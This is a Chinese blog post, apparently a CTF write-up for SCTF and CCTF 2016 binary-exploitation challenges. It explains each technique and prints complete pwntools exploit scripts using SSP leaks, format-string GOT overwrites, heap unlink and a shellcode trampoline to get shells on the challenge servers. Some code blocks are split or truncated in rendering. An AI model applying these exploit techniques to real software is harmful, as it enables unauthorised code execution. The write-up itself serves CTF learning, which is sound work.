【SCTF&&CCTF 2016】 PWN_WRITEUP

原创

Angel枫丨灬红叶 于 2016-05-15 22:42:15 发布 3425 收藏

分类专栏： CTF 文章标签： CTF

本文链接：https://blog.csdn.net/yuanyunfeng3/article/details/51419900

SCTF

pwn 1

这题是一个 ssp leak的利用。（和pctf的一题类似）。

资料:http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf

```
from pwn import *

context(log_level="debug")
flag_addr = 0x600DC0

#p  = process('./pwn100')

#gdb.attach(pidof(p)[0])
for x in range(100):
    p=remote('58.213.63.30',60001)
    p.recvuntil('he flag?\n')
    p.sendline('a'*504+p64(flag_addr))
    p.recvline()
    p.recvline()
```

pwn2

这题是fmt的利用，由于这边fmt不在栈上，所以我采取了爆破的手段。（谁叫鹦鹉只能说两句话。。），同时出题者留下了后门，直接拿来用，改返回地址为后门地址就可以。PS：如果没给后门，也可以爆破鹦鹉让它多说话，那样我们也可以玩出花来。

资料：http://www.cnblogs.com/0xmuhe/p/5013074.html

```
# -*- coding: utf-8 -*-
from pwn import *
context(log_level="debug")

#p = process('./pwn200')

elf = ELF('pwn200')
puts_got = elf.got['puts']
strcmp_got = elf.got['strcmp']
system = 0x804A08E
def init():
    p.recvuntil('ut your name:\n')
    p.sendline('WinterSun')
    p.recvuntil('')
    p.recvuntil('3.Exit\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
    p.recvuntil('2.Protego\n')
    p.sendline('2')
while True:
    p = remote('58.213.63.30',50021)
    init()
    p.sendline('%%%dc'%(0xcc)+'%4$hhn'+'...')
    p.recvuntil('...')
    #gdb.attach(pidof(p)[0])
    p.sendline('%%%dc'%(system&0xffff)+'%12$hn'+'...')
    p.interactive()

#SCTF{FMT_HAVE_FUN_AHHHH}
```

pwn3

这是一题double free 的利用。

之前没遇到过，参考的资料比较多。

资料：
http://www.cnblogs.com/0xmuhe/p/5190132.html
http://drops.wooyun.org/tips/7326
http://drops.wooyun.org/binary/7958
重点是unlink的操作！

exp 如下。

```
from pwn import *

context(log_level="debug")
buf = 0x08049D80
elf = ELF('pwn300')
free = elf.got['free']

def setchunk(size):
    p.recvuntil('5. Exit\n')
    p.sendline('1')
    p.recvuntil(' want :')
```

```
    p.sendline(str(size))

def edit(index,content):
    p.recvuntil('5. Exit\n')
    p.sendline('3')
    p.recvuntil('s num:')
    p.sendline(str(index))
    p.recvuntil('content:')
    p.sendline(content)
def show(index):
    p.recvuntil('5. Exit\n')
    p.sendline('2')
    p.recvuntil('s num:')
    p.sendline(str(index))
    return p.recvline()
def dele(index):
    p.recvuntil('5. Exit\n')
    p.sendline('4')
    p.recvuntil('s num:')
    p.sendline(str(index))
def leak(addr):
    payload = 'A'*0xc+p32(buf-0xc)+p32(addr)
    edit(0,payload)
    data = show(1)[0:4]
    print "%#x => %s" % (addr, (data or '').encode('hex'))
    return data
#p = process('./pwn300')
p = remote('58.213.63.30',61112)
## we should create some chunck

setchunk(0x80)
setchunk(0x80)
setchunk(0x80)# because of 0x0a so hava to sava in chunck3
setchunk(0x80)# /bin/sh
edit(3,'/bin/sh')
## fake chunk0
payload1 = p32(0)+p32(0x89)+p32(buf-0xc)+p32(buf-0x8)+'A'*(0x80-4*4)+p32(0x80)+p32(0x88)#size is the le
edit(0,payload1)
# gdb.attach(pidof(p)[0])
dele(1) # the addr of chunk0 had been changed
## change the addr of chunk1
# payload2 = 'A'*0xc+p32(buf-0xc)+p32(free)
# edit(0,payload2)
# libc_free = u32(show(1)[0:4])
# print 'libc_free=' + hex(libc_free)
#gdb.attach(pidof(p)[0])
d = DynELF(leak, elf=ELF('./pwn300'))
system_addr = d.lookup('system','libc')
print 'system_addr ='+hex(system_addr)
###edit free to system
payload2 =  'A'*0xc+p32(buf-0xc)+p32(free)
edit(0,payload2)
edit(1,p32(system_addr))
### getshell
dele(3)
p.interactive()

##SCTF{Have_Fun_WITH_unlink}
```

CCTF

pwn2

peda检查防御机制

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
```

简单的程序，首先程序使用mmap在地址为0x31337000的位置创建了一个大小为0x1000的权限为7的空间。。

嗯。。把shellcode放上去一定很棒。

那么我们要怎么才能让我们的shellcode登陆上新大陆呢。

这边程序会gets 用户输入的一段字节存放于 0x31337000+4090 位置处，之后将该地址处的字符串cpy 5个字节到 0x31337000 处，再call到0x31337000，我们可以利用`pop edx;mov dl,0xcf;ret`的shellcode让eip指向0x080484CF ，使用`len(asm("pop edx;mov dl,0xcf;ret;"))`看下，真好是5个字节。
重新进行设置了gets的，使其指向了0x31337000。现在我们的输入将会保存到0x31337000地址开头的空间中，我们需要的就是把shellcode输入到这边，需要注意的是cpy函数。

```
int __cdecl main()
{
  void *v0; // eax@1
  char *v1; // ST28_4@1
  const char *v2; // ST2C_4@1

  v0 = mmap((void *)0x31337000, 4096u, 7, 34, 0, 0);
  v1 = (char *)v0;
  v2 = (char *)v0 + 4090;
  gets((char *)v0 + 4090);
  strncpy(v1, v2, 5u);
  return ((int (*)(void))v1)();
}
```

由于call会压下一个指令地址入栈，所以我们需要做的就是弹出该指令地址，并且修改其偏移，最后jmp到该被修改的地址。现在我们拥有了一个任意地址执行（只能是可以执行的区域），我们可以挑战至如下地址，将真正的shellcode写入7权限的空间中。

```
.text:080484CF                mov     [esp], eax      ; s
.text:080484D2                call    _gets
.text:080484D7                mov     dword ptr [esp+8], 5 ; n
.text:080484DF                mov     eax, [esp+2Ch]
.text:080484E3                mov     [esp+4], eax    ; src
.text:080484E7                mov     eax, [esp+28h]
.text:080484EB                mov     [esp], eax      ; dest
.text:080484EE                call    _strncpy
.text:080484F3                mov     eax, [esp+28h]
.text:080484F7                call    eax
.text:080484F9                leave
.text:080484FA                retn
.text:080484FA main           endp
```

最后的exp

```python
#!/usr/bin/env python
# coding = utf8
from pwn import *
from zio import *

# target = ('',)
def get_io(target):
    r_m = COLORED(RAW, "green")
    w_m = COLORED(RAW, "blue")
    io = zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
    return io

def pwn(io):
    context(arch='i386', os='linux', log_level='debug')

    payload = asm("pop edx;mov dl,0xcf;jmp edx;")
    payload2 = asm(pwnlib.shellcraft.i386.linux.sh())

    io.gdb_hint()
    io.writeline(payload)
    print disasm(payload2)
    shellcode=payload2.ljust(4090,'a')
    shellcode+=shellcode[:5]
    io.writeline(shellcode)
    io.interact()

pwn(get_io('./pwn2'))
```

zio的gdb_hint()挺好用的，gdb要查看特定地址空间的内存数据，gdb指令为`x/4xw`，x为16进制，w为四个字节。(用来fuzz，shellcode被过滤的情况)

```
x/<n/f/u> <addr>

n、f、u是可选的参数，<addr>表示一个内存地址

1） n 是一个正整数，表示显示内存的长度，也就是说从当前地址向后显示几个地址的内容
2） f 表示显示的格式

3） u 表示将多少个字节作为一个值取出来，如果不指定的话，GDB默认是4个bytes，如果不指定的话，默认是4个bytes。当我们指



参数 f 的可选值：

x 按十六进制格式显示变量。
d 按十进制格式显示变量。
u 按十六进制格式显示无符号整型。
o 按八进制格式显示变量。
t 按二进制格式显示变量。
a 按十六进制格式显示变量。
c 按字符格式显示变量。
f 按浮点数格式显示变量。



参数 u 可以用下面的字符来代替：

b 表示单字节

h 表示双字节

w 表示四字 节

g 表示八字节
```

```
from pwn import *
context(log_level = "debug")

p = process('./pwn2')
payload1 = asm("pop edx;mov dl,0xcf;ret;")
payload2 = asm()
```

pwn3

fmt花式玩法。
exp如下。

```
# coding = utf8
from pwn import *
context.log_level = 'debug'


#R=remote('120.27.155.82',9000)
def init():
    p = process('./pwn3')
    # p = remote('115.28.35.168',10010)
    p.recvuntil(':')
    p.send('rxraclhm\n')
```

```
    return p

# def setvalue(addr,value):
    # a=['i','n','/','s']
    # for i in range(0,4):
        # R.send('put\n')
        # R.recvuntil(':')
        # R.send(a[3-i]+'\n')
        # R.recvuntil(':')
        # R.send('%'+'%03d'%((value>>(8*i)&0xff)-2)+'x'+'  '+'%10$n'+p32(addr+i)+'\n')
        # R.recvuntil('>')
        # R.send('get\n')
        # R.recvuntil(':')
        # R.send(a[3-i]+'\n')
        # R.recvuntil('>')
        # i+=1
## firstly,init local process,after that we can init remote process.
p = init()
## we can leak the libc_address of malloc and puts,then we will get the version of the libc by http://l
## but before do it,we should get the got_address of malloc and puts,so that we can puts the libc_addre
# so
pwn3_elf = ELF('./pwn3')
got_malloc = pwn3_elf.got['malloc']
got_puts = pwn3_elf.got['puts']

## then we put the addr into the  content, and leak its libc_address
# leak 1

# p.recvuntil('>')
# p.sendline('put')
# p.recvuntil(':')
# p.sendline('1')
# p.sendline(p32(got_malloc)+'%7$s...')
# p.recvuntil('>')
# p.sendline('get')
# p.recvuntil(':')
# p.sendline('1')
# libc_malloc =u32(p.recvuntil('...')[4:8])
# print 'libc_malloc='+hex(libc_malloc)

# leak 2

# p.recvuntil('>')
# p.sendline('put')
# p.recvuntil(':')
# p.sendline('2')
# p.sendline(p32(got_puts)+'%7$s...')
# p.recvuntil('>')
# p.sendline('get')
# p.recvuntil(':')
# p.sendline('2')
# libc_puts =u32(p.recvuntil('...')[4:8])
# print 'libc_puts='+hex(libc_puts)
### I can improve it.make it better
def putfile(name,content):
    p.recvuntil('>')
    p.sendline('put')
    p.recvuntil(':')
    p.sendline(name)
    p.recvuntil(':')
```

```
        p.sendline(content)
        return None
    def getfile(name):
        p.recvuntil('>')
        p.sendline('get')
        p.recvuntil(':')
        p.sendline(name)
        return None #if ret,we will lose "ftp>"
    def showfile():
        p.recvuntil('>')
        p.sendline('dir')
        return None
    ## get address of libc_malloc
    putfile('a',p32(got_malloc)+'%7$s...')
    getfile('a')
    libc_malloc =u32(p.recvuntil('...')[4:8])
    print 'libc_malloc='+hex(libc_malloc)
    ## get address of libc_puts
    putfile('b',p32(got_puts)+'%7$s...')
    getfile('b')
    libc_puts =u32(p.recvuntil('...')[4:8])
    print 'libc_puts='+hex(libc_puts)

    ## OH ho ~ now,we visit http://libcdb.com/ to get the version of the libc and get the system address

    # malloc_offset = int(raw_input('malloc_offset:'),16)
    # system_offset = int(raw_input('system_offset:'),16)
    # malloc_offset = 0x000737c0
    # system_offset = 0x0003bc00
    libc_system = libc_malloc - 0xf765c8d0 + 0xf7623c30
    # gdb.attach(pidof(p)[0])
    # raw_input()
    print 'libc_system='+hex(libc_system)

    ## when i do it ,the remote service is closed,so i have to debug it in loacalhost.

    ## now we can use fmt to change puts() to system() in plt.
    l1 = (libc_system >> (8 *0)) & 0xff
    l2 = (libc_system >> (8 *1)) & 0xff
    l3 = (libc_system >> (8 *2)) & 0xff
    l4 = (libc_system >> (8 *3)) & 0xff

    putfile(';',p32(got_puts)+'%%%dc'%(l1-4)+"%7$hn")
    getfile(';')
    putfile('h',p32(got_puts+1)+'%%%dc'%(l2-4)+"%7$hn")
    getfile('h')
    putfile('s',p32(got_puts+2)+'%%%dc'%(l3-4)+"%7$hn")
    getfile('s')
    putfile('/',p32(got_puts+3)+'%%%dc'%(l4-4)+"%7$hn")
    getfile('/')
    putfile('/bin','a')
    # gdb.attach(pidof(p)[0])
    showfile()
    p.interactive()
```

tips:python中用%来转义%号

pwn1

不明白为啥第一题这么变态= =。。
讲道理，这题应该是return-to-dl-reslove
可是栈迁移之后，空间也特么太小了吧。。
官方wp是爆破。。由于做的时候已经结束了。。本地爆破就不玩了吧